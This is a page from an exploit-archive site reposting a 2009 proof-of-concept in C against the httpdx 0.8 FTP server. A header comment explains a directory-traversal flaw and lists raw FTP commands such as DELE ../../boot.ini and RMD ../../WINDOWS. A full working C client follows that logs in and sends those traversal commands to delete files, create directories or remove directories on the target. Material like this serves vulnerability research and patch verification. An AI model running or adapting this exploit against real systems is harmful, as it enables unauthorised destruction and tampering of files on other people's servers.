首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
httpdx <= 0.8 FTP Server Delete/Get/Create Directories/Files Exploit
来源:vfocus.net 作者:vfocus 发布时间:2009-06-10  
/*
Httpdx Server FTP v0.8 Remote Arbitrary Directories & files Vulnerability
-------------------------------------------------------------------------

Arbitrary:
----------
The vulnerability is caused due to an input validation error when processing FTP requests. This can be 
exploited to read, modify, or delete arbitrary files from the affected system via directory traversal 
attacks.

--------------------------------------------------------------------------------------------------------

FTP Service:
------------
You can delet file boot.ini 	=> DELE ../../boot.ini
You can get file boot.ini 	=> RETR ../../boot.ini
You can creat Directory 	=> MKD ../../poc
You can delet Directory		=> RMD ../../WINDOWS


Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
	{
	fprintf(stderr,"\nHttpdx Server FTP v0.8 Arbitrary Directories & files\n");
	fprintf(stderr,"-------------------------------------------------------\n");
	fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd> <option> <argument_option>\n\n",file);
	fprintf(stdout,"=>Option  : -df\t\tDelet File\n");
	fprintf(stdout,"            -cd\t\tCreat Directory\n");
	fprintf(stdout,"            -dd\t\tDelet Directory\n\n");
	fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 passwd2 -df ../../boot.ini\n", file);
	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -cd ../../poc\n", file);
	fprintf(stdout,"          : %s 127.0.0.1 21 login1 passwd2 -dd ../../WINDOWS\n\n", file);
	exit(0);
	}

int main(int argc, char **argv)
{
	if (argc < 6)
		syntax(argv[0]);
	
	int port = atoi(argv[2]);

	int mysocket;
	int mysocket2;
	int srv_connect;
	int sockaddr_long;


		struct sockaddr_in sockaddr_mysocket;
		sockaddr_long = sizeof(sockaddr_mysocket);
		sockaddr_mysocket.sin_family = AF_INET;
		sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
		sockaddr_mysocket.sin_port = htons(port);

        char request[50];
	char answer[100];

        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,"[-]FAILED SOCKET\n");
			return 1;}

	srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
		
	if (srv_connect != -1)
 		{
		memset(answer,0,100);
		recv(mysocket2,answer,sizeof(answer),0);

			if(!strcmp(argv[5], "-df")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }						
				sprintf(request, "DELE %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request DELE\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }	
				}


			if(!strcmp(argv[5], "-cd")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }
				sprintf(request, "MKD %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request MKD\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }
			}


			if(!strcmp(argv[5], "-dd")){
					sprintf(request, "USER %s\r\n", argv[3]);		
						if (send(mysocket2,request,strlen(request),0) == -1){
							fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
							shutdown(mysocket2,1);
							return 1;}
						else{
							memset(answer,0,100);
							recv(mysocket2,answer,sizeof(answer),0);
						 }
			sprintf(request, "PASS %s\r\n", argv[4]);
				if (send(mysocket2,request,strlen(request),0) == -1){
				        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
				        shutdown(mysocket2,1);
				        return 1;}
				else{ 
					memset(answer,0,100);
				        recv(mysocket2,answer,sizeof(answer),0);
				        fprintf(stdout,"[+]>>%s",answer);
				 }
		sprintf(request, "SYST\r\n");
		if (send(mysocket2,request,strlen(request),0) == -1){
		        fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
		        shutdown(mysocket2,1);
		        return 1;}
		else{
		        memset(answer,0,100);
		        recv(mysocket2,answer,sizeof(answer),0);
		        fprintf(stdout,"[+]>>%s",answer);
		 }
				sprintf(request, "RMD %s\r\n", argv[6]);
					if (send(mysocket2,request,strlen(request),0) == -1){
						fprintf(stderr,"[-]Send Request RMD\t\t[FAILED]\n");
						shutdown(mysocket2,1);
						return 1;}
					else{ 
						memset(answer,0,100);
						recv(mysocket2,answer,sizeof(answer),0);
						fprintf(stdout,"[+]>>%s",answer);
					 }
			}


		}

	else{
		fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
		shutdown(mysocket2,1);
		return 1;}


	shutdown(mysocket2,1);


fprintf(stdout,"[+]Done!\n", argv[5]);
return 0;
}

// [2009-06-08]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apple MACOS X xnu <= 1228.9.59
·Joomla Component MooFAQ (com_m
·Interlogy Profile Manager Basi
·SAP GUI 6.4 ActiveX (Accept) R
·Virtue Shopping Mall (cid) Rem
·Frontis 3.9.01.24 (source_clas
·Virtue Book Store (cid) Remote
·Virtue News (SQL/XSS) Multiple
·Virtue Classifieds (category)
·Grestul 1.2 Remote Add Adminis
·Joomla Component com_school 1.
·DM FileManager 3.9.2 Insecure
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved